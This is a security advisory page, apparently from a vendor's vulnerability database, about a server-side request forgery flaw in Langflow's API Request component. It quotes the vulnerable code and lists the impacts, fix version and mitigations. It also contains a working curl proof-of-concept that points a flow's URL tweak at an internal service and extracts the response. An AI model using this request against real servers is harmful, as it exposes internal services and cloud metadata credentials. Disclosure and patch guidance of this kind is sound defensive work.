Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-5993-7p27-66g5 langflow

HIGH

GHSA-5993-7p27-66g5 is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in langflow. A fix is available for langflow — see the affected versions and patch details below.

Langflow vulnerable to Server-Side Request Forgery

Also known asCVE-2025-68477PYSEC-2026-1522
Published
Dec 19, 2025
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-5993-7p27-66g5.

EPSS Exploitation Probability

via FIRST.org ↗
6.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs93th percentile — riskier than 93% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-5993-7p27-66g5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍langflow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
    async def simplified_run_flow(
        *,
        background_tasks: BackgroundTasks,
        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
        input_request: SimplifiedAPIRequest | None = None,
        stream: bool = False,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
        context: dict | None = None,
        http_request: Request,
    ):
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    @router.post(
        "/run/advanced/{flow_id_or_name}",
        response_model=RunResponse,
        response_model_exclude_none=True,
    )
    async def experimental_run_flow(
        *,
        session: DbSession,
        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
        inputs: list[InputValueRequest] | None = None,
        outputs: list[str] | None = None,
        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
        stream: Annotated[bool, Body(embed=True)] = False,
        session_id: Annotated[None | str, Body(embed=True)] = None,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
    ) -> RunResponse:
    
  2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

        def _normalize_url(self, url: str) -> str:
            """Normalize URL by adding https:// if no protocol is specified."""
            if not url or not isinstance(url, str):
                msg = "URL cannot be empty"
                raise ValueError(msg)
    
            url = url.strip()
            if url.startswith(("http://", "https://")):
                return url
            return f"https://{url}"
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

            url = self._normalize_url(url)
    
            # Validate URL
            if not validators.url(url):
                msg = f"Invalid URL provided: {url}"
                raise ValueError(msg)
    
  3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

            try:
                # Prepare request parameters
                request_params = {
                    "method": method,
                    "url": url,
                    "headers": headers,
                    "json": processed_body,
                    "timeout": timeout,
                    "follow_redirects": follow_redirects,
                }
                response = await client.request(**request_params)
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

                # Base metadata
                metadata = {
                    "source": url,
                    "status_code": response.status_code,
                    "response_headers": response_headers,
                }
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

                # Handle response content
                if is_binary:
                    result = response.content
                else:
                    try:
                        result = response.json()
                    except json.JSONDecodeError:
                        self.log("Failed to decode JSON response")
                        result = response.text.encode("utf-8")
    
                metadata["result"] = result
    
                if include_httpx_metadata:
                    metadata.update({"headers": headers})
    
                return Data(data=metadata)
    

PoC


PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting

    <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" />
  • Exploit

    curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
      -H 'Content-Type: application/json' \
      -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
      --data-raw '{
        "inputs":[{"components":[],"input_value":""}],
        "outputs":["Chat Output"],
        "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
        "stream":false
      }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'
    
    <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />

Impact


  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlangflowall versions1.7.1pip install --upgrade 'langflow==1.7.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update langflow to 1.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5993-7p27-66g5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5993-7p27-66g5 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-5993-7p27-66g5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

**Vulnerability Overview** Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Reques
O3 Security · Impact-Aware SCA

Is GHSA-5993-7p27-66g5 in your dependencies?

O3 Security finds GHSA-5993-7p27-66g5 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-5993-7p27-66g5: langflow (High 7.7) | O3 Security